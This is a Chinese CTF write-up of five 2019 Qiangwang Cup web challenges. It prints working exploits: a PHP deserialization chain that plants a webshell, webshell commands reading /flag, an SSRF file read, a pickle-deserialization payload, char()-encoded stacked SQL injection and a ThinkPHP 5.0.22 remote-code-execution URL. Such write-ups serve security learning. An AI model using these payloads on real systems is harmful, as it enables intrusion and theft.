2019 强网杯online Web Writeup

  • A+
所属分类:安全文章
摘要

周末利用空余时间参加了强网杯,以下是Web解题记录。登入题目,首先纵览题目功能,发现有注册和登录:

0x00 前言

周末利用空余时间参加了强网杯,以下是Web解题记录。

0x01 upload

登入题目,首先纵览题目功能,发现有注册和登录:

2019 强网杯online Web Writeup

随便注册登入后,来到文件上传页面:

2019 强网杯online Web Writeup

经探测,发现可以上传png图片,同时上传目录可直接访问:

2019 强网杯online Web Writeup

同时发现cookie有序列化内容:

2019 强网杯online Web Writeup

解码后得到:

a:5:{s:2:"ID";i:23;s:8:"username";s:13:"[email protected]";s:5:"email";s:13:"[email protected]";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";N;} 

上传png后,序列化变为:

a:5:{s:2:"ID";i:23;s:8:"username";s:13:"[email protected]";s:5:"email";s:13:"[email protected]";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";s:79:"../upload/9862a5f0c459c3f78ba4bab12279ea3d/fb5c81ed3a220004b71069645f112867.png";} 

尝试直接改序列化进行目录穿越

a:5:{s:2:"ID";i:23;s:8:"username";s:13:"[email protected]";s:5:"email";s:13:"[email protected]";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";s:28:"../../../../../../etc/passwd";} 

页面直接跳转至登录页面,猜测不能直接修改序列化内容。
根据以往经验,有序列化一般都有源码泄露,否则序列化很难恶意构造,于是探测目录,得到文件泄露:

http://49.4.66.242:32147/www.tar.gz 

审计网站源码,将目光定位到如下3个文件上:

web/controller/Index.php web/controller/Profile.php web/controller/Register.php 

web/controller/Profile.php看到关键函数操作

public function upload_img(){         if($this->checker){             if(!$this->checker->login_check()){                 $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";                 $this->redirect($curr_url,302);                 exit();             }         }         if(!empty($_FILES)){             $this->filename_tmp=$_FILES['upload_file']['tmp_name'];             $this->filename=md5($_FILES['upload_file']['name']).".png";             $this->ext_check();         }         if($this->ext) {             if(getimagesize($this->filename_tmp)){                 @copy($this->filename_tmp, $this->filename);                 @unlink($this->filename_tmp);                 $this->img="../upload/$this->upload_menu/$this->filename";                 $this->update_img();}else{                 $this->error('Forbidden type!', url('../index'));}         }         else{             $this->error('Unknow file type!', url('../index'));         }     } 

其中操作

if(getimagesize($this->filename_tmp)){ @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); 

跟进$this->filename_tmp$this->filename,发现没有过滤等限制,唯一阻碍:

if(!empty($_FILES)){     $this->filename_tmp=$_FILES['upload_file']['tmp_name'];     $this->filename=md5($_FILES['upload_file']['name']).".png";     $this->ext_check(); } 

但我们可以通过直接GET请求,不进入该if判断。

if($this->checker){     if(!$this->checker->login_check()){         $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";         $this->redirect($curr_url,302);         exit();     } } 

同时该校验也可如法炮制,可直接通过设置类中属性进行bypass,不进入if判断。
到此为止可得到类的部分构造:

public $checker=0; public $filename_tmp='../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/5d0f060446d095e20383edb9e61bd156.png'; public $filename='../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php'; 

(注:该处路径是../public/upload/,从代码@chdir("../public/upload");可发现,一开始我被坑了= =)
当该值进入upload_img函数后,即可利用copy成功复制出php文件。但是新的问题来了,如何通过反序列化直接调用upload_img函数。
这里可以看到两个魔法方法:

    public function __get($name)     {         return $this->except[$name];     }      public function __call($name, $arguments)     {         if($this->{$name}){             $this->{$this->{$name}}($arguments);         }     } 

我们知道当对象调用不可访问属性时,就会自动触发__get魔法方法,而在对象调用不可访问函数时,就会自动触发__call魔法方法。
那么寻找触发方式可以发现文件web/controller/Register.php,关键部分如下:

class Register extends Controller {     public $checker;     public $registed;      public function __construct()     {         $this->checker=new Index();     }      public function __destruct()     {         if(!$this->registed){             $this->checker->index();         }     } } 

我们可以看到checker调用了类Index里的方法index(),如果我们此时将checker的__construct覆盖为类Profile,那么势必在调用index()方法时,会触发__call函数:

    public function __call($name, $arguments)     {         if($this->{$name}){             $this->{$this->{$name}}($arguments);         }     } 

而进入该函数后,我们会触发$this->index,成功尝试调用类Profile中不存在的对象,于是可触发__get魔法方法,从而变成return $this->except['index'];,那么我们只要在构造序列化时,将except赋值为数组,如下:

public $except=array('index'=>'upload_img'); 

即可在类Register进行__destruct()时,成功触发upload_img函数,进行文件复制和改名。
综合上述pop链,我们可以构造如下exp:

<?php namespace app/web/controller; class Profile {     public $checker=0;     public $filename_tmp="../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/5d0f060446d095e20383edb9e61bd156.png";     public $filename="../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php";     public $upload_menu;     public $ext=1;     public $img;     public $except=array('index'=>'upload_img');  } class Register {     public $checker;     public $registed=0; }  $a=new Register(); $a->checker=new Profile(); $a->checker->checker = 0; // echo serialize($a); echo base64_encode(serialize($a)); 

成功改名后可直接getshell,进行命令执行:

2019 强网杯online Web Writeup

进行getflag:

view-source:http://49.4.66.242:32147/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php?sky=system(%27ls%27); 

2019 强网杯online Web Writeup

view-source:http://49.4.66.242:32147/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php?sky=system(%27ls%20/%27); 

2019 强网杯online Web Writeup

view-source:http://49.4.66.242:32147/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php?sky=system(%27cat%20/flag%27); 

2019 强网杯online Web Writeup

0x02 高明的黑客

2019 强网杯online Web Writeup

题目直接提供了源码下载:

http://117.78.48.182:31784/www.tar.gz 

下载后发现是3000多个混淆过的shell,其中包括多种障眼法:

2019 强网杯online Web Writeup

2019 强网杯online Web Writeup

例如看起来可进行RCE的参数,实际上被置空,或者有根本不可能进入的if判断。这让我们寻找可用的后门非常困难。
此时有两种想法,一种为动态调试,另一种为fuzz。考虑到便捷性,我使用了后者,思路如下:
匹配出所有$_GET或者$_POST参数,然后统一赋值为:

echo 'sky cool'; 

如果回显中包含sky cool,那么证明该文件为可用shell,于是撰写如下脚本:

import requests from multiprocessing import Pool  base_url = "http://localhost:8888/src/" base_dir = "/Desktop/site/src/" file_list = ['zzt4yxY_RMa.php',........ 'm_tgKOIy5uj.php', 'aEFo52YSPrp.php', 'Hk3aCSWcQZK.php', 'RXoiLRYSOKE.php']  def extracts(f):     gets = []     with open(base_dir + f, 'r') as f:         lines = f.readlines()         lines = [i.strip() for i in lines]         for line in lines:              if line.find("$_GET['") > 0:                 start_pos = line.find("$_GET['") + len("$_GET['")                 end_pos = line.find("'", start_pos)                                 gets.append(line[start_pos:end_pos])      return gets  def exp(start,end):     for i in range(start,end):         filename = file_list[i]         gets = extracts(filename)         print "try: %s"%filename          for get in gets:             now_url = "%s%s?%s=%s"%(base_url,filename,get,'echo "sky cool";')             r = requests.get(now_url)             if 'sky cool' in r.content:                 print now_url                 break     print "%s~%s not found!"%(start,end)   def main():     pool = Pool(processes=15)    # set the processes max number 3     for i in range(0,len(file_list),len(file_list)/15):         pool.apply_async(exp,(i,i+len(file_list)/15,))     pool.close()     pool.join()   if __name__ == "__main__":     main() 

运行后找到文件:

2019 强网杯online Web Writeup

进行getflag:

view-source:http://117.78.48.182:31784/xk0SzyKwfzw.php?Efa5BVG=ls%20/ 

2019 强网杯online Web Writeup

2019 强网杯online Web Writeup

2019 强网杯online Web Writeup

view-source:http://117.78.48.182:31784/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag 

2019 强网杯online Web Writeup

0x03 babywebbb

直接访问题目:

2019 强网杯online Web Writeup

得到信息,发现有证书信任问题。尝试进行信息搜集,找到ip对应的域名:

2019 强网杯online Web Writeup

发现可疑子域名,进行/etc/hosts绑定:

49.4.71.212 qqwwwwbbbbb.52dandan.xyz 

访问页面

https://qqwwwwbbbbb.52dandan.xyz:8088/ 

发现现在正常访问,但是页面404。进行信息搜集,扫端口:

22/tcp    open   ssh 873/tcp   open   rsync 3389/tcp  closed ms-wbt-server 8080/tcp  closed http-proxy 8088/tcp  open   radan-http 12345/tcp closed netbus 31337/tcp closed Elite 

发现837端口开放,尝试未授权访问:

rsync 49.4.71.212:: rsync 49.4.71.212::"src" 

2019 强网杯online Web Writeup

下载backup_old.zip

2019 强网杯online Web Writeup

获得外网源码,审计一波,发现是用flask写的小站,首先看下路由:

app.register_blueprint(admin, url_prefix='/admin') app.register_blueprint(graphql, url_prefix='/graphql_test123') app.register_blueprint(login_blue, url_prefix='/user') app.register_blueprint(user, url_prefix='/user') 

同时看到登录页面:

https://qqwwwwbbbbb.52dandan.xyz:8088/user/login 

审计相关代码:

if re.match("^[A-Za-z0-9]*$", username):     sql = "select * from user where username_which_you_do_not_know=/"{}/" and password_which_you_do_not_know_too=/"{}/"".format(username,password_new)          

发现有过滤,且有功能需要登录

@user.route('/newimg', methods=['POST','GET']) @login_required def test():     url = unquote(request.form.get('newurl'))     if re.match("^[A-Za-z0-9-_%:./]*$",url):         filename = ramdom_str()         command = "curl {} > /tmp/{}".format(url, filename)         os.system(command)         with open("/tmp/{}".format(filename),"rb") as res:             res_data = res.read()             res_data = base64.b64encode(res_data)             return res_data     return "" 

若要利用该SSRF进行任意文件读取,那么必须要登录,但是没有注册功能,那么猜想需要注入,于是寻找注入点,发现:

Test_schema = graphene.Schema(query=Test) Login_schema = graphene.Schema(query=Login) graphql.add_url_rule('/test', view_func=GraphQLView.as_view('test', schema=Test_schema, graphiql=True)) graphql.add_url_rule('/login', view_func=GraphQLView.as_view('login', schema=Login_schema, graphiql=True)) 

尝试访问:

https://qqwwwwbbbbb.52dandan.xyz:8088/graphql_test123/login 

其对应代码如下:

class Login(graphene.ObjectType):     recv = graphene.String(data=graphene.String(default_value=""))     def resolve_recv(self,info, data):         all_info = json.loads(data)         operate = all_info['operate']         if operate =='login':             username = all_info['username']             password = all_info['password']             logggin(username,password)             password_new = hashlib.sha256(password.encode('utf-8')).hexdigest()             db = DbOp()             db.connect()             sql = "select * from user where username_which_you_do_not_know=/"{}/" and password_which_you_do_not_know_too=/"{}/"".format(username,password_new)             rr = db.getall(sql)             if len(rr) != 0:                 session['username'] = username                 session['loginstatus'] = True             response = "login success"         elif operate == 'logout':             session['username'] = None             session['loginstatus'] = False             response = "Logout success"         else:             response = "None of operate"         return response 

发现是graphql且无过滤,利用如下操作,可控username与password:

recv = graphene.String(data=graphene.String(default_value="")) 

审计发现需要满足:

if operate =='login': 

于是构造如下json:

<?php $array = array('operate'=>'login','username'=>'admin','password'=>'admin'); echo json_encode($array); 

尝试访问:

2019 强网杯online Web Writeup

发现可以成功进行登录,那么简单注入:

2019 强网杯online Web Writeup

发现登录成功,成功拿到session,于是利用路由进行SSRF:

https://qqwwwwbbbbb.52dandan.xyz:8088/user/newimg 

尝试读取/etc/passwd文件:

2019 强网杯online Web Writeup

发现读取成功,尝试读nginx相关配置信息:

file:///etc/nginx/sites-available/default 

得到信息

server {      listen 80  default_server;      listen 443 default_server;      server_name _ ;      ssl on;      ssl_certificate     /root/www.crt;      ssl_certificate_key /root/www.key;      return 444; }  server {     listen 80;     listen 443;     server_name qqwwwwbbbbb.52dandan.xyz;     charset utf-8;     client_max_body_size 5M;     location / {         include uwsgi_params;         uwsgi_pass 127.0.0.1:3031;     }     location /static {         alias /home/qwb/static;     } } 

发现uwsgi

127.0.0.1:3031; 

结合参考文章

https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md 

不难想到这里可以利用SSRF打uwsgi进行getshell:

2019 强网杯online Web Writeup

然后下一步理所当然是扫内网,这里我传了个nmap上去一通扫:

Nmap scan report for 172.16.17.1 Host is up (0.00037s latency). Not shown: 310 closed ports PORT     STATE SERVICE 22/tcp   open  ssh 873/tcp  open  rsync 8088/tcp open  omniorb  Nmap scan report for 2019qwb_qwb_flask_socks5_1.2019qwb_qwb_network (172.16.17.4) Host is up (0.00035s latency). Not shown: 312 closed ports PORT     STATE SERVICE 1080/tcp open  socks  Nmap scan report for 96b479690d75 (172.16.17.22) Host is up (0.00033s latency). Not shown: 311 closed ports PORT    STATE SERVICE 80/tcp  open  http 443/tcp open  https  Nmap scan report for 2019qwb_qwb_rsync_1.2019qwb_qwb_network (172.16.17.99) Host is up (0.00034s latency). Not shown: 312 closed ports PORT    STATE SERVICE 873/tcp open  rsync  Nmap scan report for 2019qwb_qwb_ssrf_mysql_1.2019qwb_qwb_network (172.16.17.231) Host is up (0.00032s latency). Not shown: 312 closed ports PORT     STATE SERVICE 3306/tcp open  mysql 

看到数据库后,简单找了下数据库信息:

2019 强网杯online Web Writeup

尝试连接数据库:

2019 强网杯online Web Writeup

顺手看了下内容:

2019 强网杯online Web Writeup

没有flag,惨惨= =,后来正想扫其他网段的时候,主办方放出了hint:

由于内网扫的太卡了,直接给出内网地址192.168.223.222 

同时发现之前的扫描结果:

Nmap scan report for 2019qwb_qwb_flask_socks5_1.2019qwb_qwb_network (172.16.17.4) Host is up (0.00035s latency). Not shown: 312 closed ports PORT     STATE SERVICE 1080/tcp open  socks 

想到可以用socks5去打内网,于是简单配置了下代理,顺手扫了个端口:

Nmap scan report for 192.168.223.222 Host is up (0.064s latency). Not shown: 998 closed ports PORT    STATE SERVICE 80/tcp  open  http 443/tcp open  https 

那就是打web了,浏览器挂上代理访问,来到内网web页面

2019 强网杯online Web Writeup

随手尝试弱密码登录:

admin admin 

又来到一个全新的世界= =

2019 强网杯online Web Writeup

发现有几个功能:

add user save log infomation 

然后陷入了无尽的沉思= =,后来主办方给出了个hint,也就是公开源码:

hint:https://paste.ubuntu.com/p/q4xJBfm3Bb/ 

简单审计后,发现序列化点:
反序列化操作:

def open_session(self, app, request):     sid = request.cookies.get(app.session_cookie_name)     if not sid:         sid = self._generate_sid()         return self.session_class(sid=sid)      signer = self._get_signer(app)     try:         sid_as_bytes = signer.unsign(sid)         sid = sid_as_bytes.decode()     except BadSignature:         sid = self._generate_sid()         return self.session_class(sid=sid)      sess_path = os.path.join(sys.path[0],self.dir)     exists = os.path.exists(sess_path)     if not exists:         os.mkdir(sess_path)     try:         with open(os.path.join(sess_path,sid),'rb') as f:             try:                 val = pickle.load(f)             except:                 val = {}             return self.session_class(val,sid=sid)     except:         return self.session_class(sid=sid)   

序列化操作:

def save_session(self, app, session, response):     domain = self.get_cookie_domain(app)     path = self.get_cookie_path(app)     httponly = self.get_cookie_httponly(app)     secure = self.get_cookie_secure(app)     expires = self.get_expiration_time(app, session)     val = dict(session)      sess_path = os.path.join(sys.path[0],self.dir)     with open(os.path.join(sess_path , session.sid), 'wb') as f:         pickle.dump(val, f, True)     session_id = self._get_signer(app).sign(want_bytes(session.sid))     response.set_cookie(app.session_cookie_name, session_id,                         expires=expires, httponly=httponly,                         domain=domain, path=path, secure=secure)    

注:怎么每年都有个flask session反序列化= =
本来想利用序列化反弹shell,但主办方又给个hint:

不能弹shell的。。。别尝试了 

注:主办方真给力,每次都雪中送炭)
于是考虑怎么把数据带出,但考虑到内网的交互问题有点麻烦,于是想直接把flag放进session里。
那么容易想到将flag替换username的值,然后在带出session username的位置即可看到flag。
根据代码

def validate_username(self, field):     name = field.data      if (not re.match('^[0-9a-zA-Z]*$',name)) or (len(name)<6) :         err_log.append(waf(field.data))         if len(err_log) == 101:             err_log.pop(0)          raise ValidationError('validation username!') 

发现用户名只要出现特殊符号,就会经过waf后被加入log:
观察waf:

def waf(data):     data = re.sub('(decode|sh|command|class|dict|base|execfile|timeit|platform|getattribute|reload|values)','hacker',data)     return data 

过滤并不是非常多,触发过滤会被替换为hacker,还是挺好Bypass的。
那么思路非常明确了,我们希望达成如下效果:

bytes('(dp0/nS/'username/'/np1/nS/''+open('/tmp/flag','r').read().strip()+'/'/np2/ns.','utf-8') 

该exp被反序列化后,效果如下:

2019 强网杯online Web Writeup

此时我们的username的值变为flag
同时寻找读取内容位置:

2019 强网杯online Web Writeup

发现在information处,会有session['username'],那么即可完成攻击链,我们构造出关键exp:

"open('/home/qwb/session/ba0eaa4d-7f63-41b5-8d05-cce9b1299945','wb').write(bytes('(dp0//nS//'username//'//np1//nS//''+open('/flag','r').read().strip()+'//'//np2//ns.','utf-8'))" 

将其序列化后,放在add user位置,使其进入log。
之后利用save_log将日志覆盖到session文件上,再通过触发session,触发反序列化。
其中注意,save log对路径做了过滤,可以用反斜杠进行bypass:

    def validate_filepath(self, field):         filepath = field.data         if  re.match('.*(/./|/././|/).*',filepath) or re.match('(.*/.py|.*/.pyc|.*/.js|.*/.html|.*/.css|.*/.db)',filepath):             raise ValidationError('validation filepath!') 

攻击后访问information页面,发现flag:

2019 强网杯online Web Writeup

0x04 随便注

一道相对简单的注入题

http://49.4.26.104:32019/?inject=1 

随手尝试引号,得到报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1 

再尝试闭合

http://49.4.26.104:32019/?inject=1'%23 

发现正常,于是尝试

http://49.4.26.104:32019/?inject=1'||1%23 

2019 强网杯online Web Writeup

发现列出当前表所有内容,猜想flag在其他表中,尝试注入,发现过滤

return preg_match("/select|update|delete|drop|insert|where|/./i", $inject); 

发现select.被过滤,根据经验,一般这种情况很难跨表查询,那么考虑有没有其他的技巧,不难想到堆叠注入,为bypass过滤,尝试用char进行绕过,可写出exp如下:

payload = "0';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;" exp = 'select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()' # exp = "select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='1919810931114514'" # exp = "select flag from `1919810931114514`" res = '' for i in exp:     res += "char(%s),"%(ord(i)) my_payload = payload%(res[:-1]) print my_payload 

在本地略作尝试:

select * from article where id=1;set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(84),char(65),char(66),char(76),char(69),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(83),char(67),char(72),char(69),char(77),char(65),char(61),char(100),char(97),char(116),char(97),char(98),char(97),char(115),char(101),char(40),char(41));PREPARE a FROM @s;EXECUTE a; 

2019 强网杯online Web Writeup

发现一切顺利,于是题目中进行测试:
发现表名

0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(84),char(65),char(66),char(76),char(69),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(83),char(67),char(72),char(69),char(77),char(65),char(61),char(100),char(97),char(116),char(97),char(98),char(97),char(115),char(101),char(40),char(41));PREPARE a FROM @s;EXECUTE a; 

2019 强网杯online Web Writeup

发现字段名

0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(67),char(79),char(76),char(85),char(77),char(78),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(67),char(79),char(76),char(85),char(77),char(78),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(61),char(39),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(39));PREPARE a FROM @s;EXECUTE a; 

2019 强网杯online Web Writeup

getflag

0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(102),char(108),char(97),char(103),char(32),char(102),char(114),char(111),char(109),char(32),char(96),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(96));PREPARE a FROM @s;EXECUTE a; 

2019 强网杯online Web Writeup

0x05 强网先锋-上单

据说是道送分题= =
访问题目,得到目录

2019 强网杯online Web Writeup

发现信息

http://49.4.66.242:31392/1/public/ 

2019 强网杯online Web Writeup

得知是用thinkphp 5.0.22开发,随手搜索,发现RCE CVE:

http://49.4.66.242:31392/1/public/index.php?s=index/think/app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag 

得到flag

flag{f869fa995fb99667e75e04b5c3ca77cc} 

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: